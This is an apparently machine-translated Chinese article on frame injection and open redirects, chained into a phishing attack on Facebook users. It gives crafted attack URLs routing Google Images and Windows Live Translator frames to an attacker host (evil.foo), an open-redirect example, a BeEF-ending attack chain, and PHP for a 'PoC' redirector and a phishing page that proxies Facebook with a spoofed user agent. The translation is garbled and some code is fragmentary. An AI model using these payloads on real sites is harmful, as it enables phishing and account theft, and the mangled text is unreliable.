从框架注入漏洞到非法重定向


  本文标签:框架注入 非法重定向 重定向

一、框架注入 漏洞的定义, 形容:

定义:

一个框架注入 突击是一个全部基于GUI的阅读器 突击,它包括任何代码如JavaScript,VBScript(ActivX),Flash,AJAX(html+js+py)  。代码被注入是由于脚本没有对它们正确验证  。

框架弱点的注入 突击, 只管有些人可能会认为它们与HTML注入/跨站脚本是同类,我在此告诉你:“它们是不一样的  。”

这是为何:

* 没有必要注入特别操纵字符,如尖括号(HTMLi/XSS)

* HTMLi/XSS 过滤惯常的程序不会对 名目内注入,由于我们 惟独求插入一个URL中的非审查的参数  。

最好的解释 步骤便是举一个例子  。大多数框架注入的问题都 产生在Web 利用程序中,由于动态框架/iframe中没有足够的 施行过滤  。例如, 我们的 指标有以下网址:

https://www.***.com /index.php?targeturl=/contact.php

我们的 用意是要发动钓鱼 突击窜改的targeturl参数  。我们的 指标是是插入第三方网页,依据我们的操纵,而不是原来的 联络网页:

https://www.victim.foo/index.php?targeturl=http://evil.foo/login.php

注:我们 可以编码 歹意pishing链接到十六进制值,在此文章内我们没有 使用  。

二、针对网址作为有效载荷的 形容:

这种技术只工作在受害者已将您加入他的朋友清单内,假如Facebook的cookie数据 储存在阅读器中,合法的框架注入对Facebook的构成输入一个url上的网页并命名为sharer.php  。在Facebook中你将会看到,假如 联络人在线或不 承受时,他的朋友或假如他的个人 材料是公开的  。黑客将尝试增加您并 获得对于您的信息  。在Facebook会 提议您不要让每一个不被信任的 联络人加入您,由于他 可以尝试破解你的帐户,如 产生给你一个 歹意链接  。

这种 突击如何工作?

这儿是一个小的代码, 可以 使用Facebook 掩护“合法”链接注入facebook.com/sharer.php  。

/--------------------------------------\ /------\

|http:// | |share |

\--------------------------------------/ \------/

使用Google或Live查找框注入作为有效载荷的 突击:

现在 可以 使用我们的 歹意智能劫持这个  。

“合法”框架注入,我们将 使用一个值得“信任”的网站,bypass.php源代码是我们的 歹意重定向脚本,这将是解释下面的内容  。

The source code of bypass.php is my malicious redirector script, it will be explained later in the paper.

Google图像框架注入

http://www.google.fr/imgres?imgurl=http://fake_url&imgrefurl=http://evil.foo/bypass.php

或

Windows live 翻译框架注入

http://www.windowslivetranslator.com/BV.aspx?ref=Internal#http://www.windowslivetranslator.com/bv.aspx?mkt=fr-FR&dl=fr&lp=en_fr&a=http://evil.foo/bypass.php

三、重定向 形容 :

重定向 漏洞同意一个邪恶的消费者对一个网站重定向给受害者  。重要 突击媒介的这种 懦弱性是pishing  。惟独在远程Web服务器的权限 可以重定向 漏洞 使用 歹意脚本php,javascript, vbscript ,ajax (worm)  。

最常见的 突击媒介是体现在双重网址中:

http://site.com/redirect?r=http://malicious_website.com

四、利用 模式, 联合重定向框架注入vulnz:

先进的重定向和框架注入组合 突击:

/-----------/ /-----------/ /-----------/ /-----------/ /-----------/

|facebook ---| google ---| bypass.php|---| login.php ---| b e e f :

\-----------\ \-----------\ \-----------\ \-----------\ \-----------\

Facebook的sharer.php的输入源可能看起来像这样的脚本:

#########################################################################

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

Welcome in my-site-is-not-secure-now.w00t

bordercolor="#0000CC" id="navigation">

bordercolor="#000000" id="en-tete">

if(in_array($_GET[iframe], $allowUrls))

echo $_GET[iframe]; // 假如IFRAME中同意有一个网址

else // 为了显示主页(或一个 舛误页面)

echo "accueil.htm";

}

else // !!!

echo "accueil.htm";

?>" name="corps" scrolling="auto" id="corps">

No frames :(

#########################################################################

在Facebook中变换 歹意网址链接像这样(sharer.php script):

http://www.facebook.com/ext/share.php?sid=501337&h=Crew&u=p3lo

和上面的链接Facebook的 详情浮现像这样:

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

图片查找 后果

http://www.google.fr/imgres?imgurl=http://fake_url...

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

现在来看看我的成批输出转换程序(PoC)重定向脚本(bypass.php):

###########################################################################

fb redirector PoC by Czy

第一个脚本包括在head,同意杀死第一个框架的有效载荷,URL重定向到self.document.location  。

第二个脚本同意重定向我的网页上,以先进的pishing页面  。







###############################################################################

这是先进重定向pishing页面的 起源 (login.php):

###############################################################################

//by Czy

$referer=”http://www.facebook.com/”;

// spoofing FireFox 2.0

$useragent=”Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1?;

$ch = curl_init();

curl_setopt ($ch, CURLOPT_URL, "http://www.facebook.com/");

curl_setopt ($ch, CURLOPT_HEADER, 0);

curl_setopt($ch, CURLOPT_USERAGENT, $useragent);

curl_setopt($ch, CURLOPT_REFERER, $referer);

curl_exec ($ch);

curl_close ($ch);

?>

###############################################################################

五、尾声:

通过长 工夫时刻的探究,我认为最好的 模式来纠正这些 漏洞是 保障消费者离开该网页和网站域名的重定向页面  。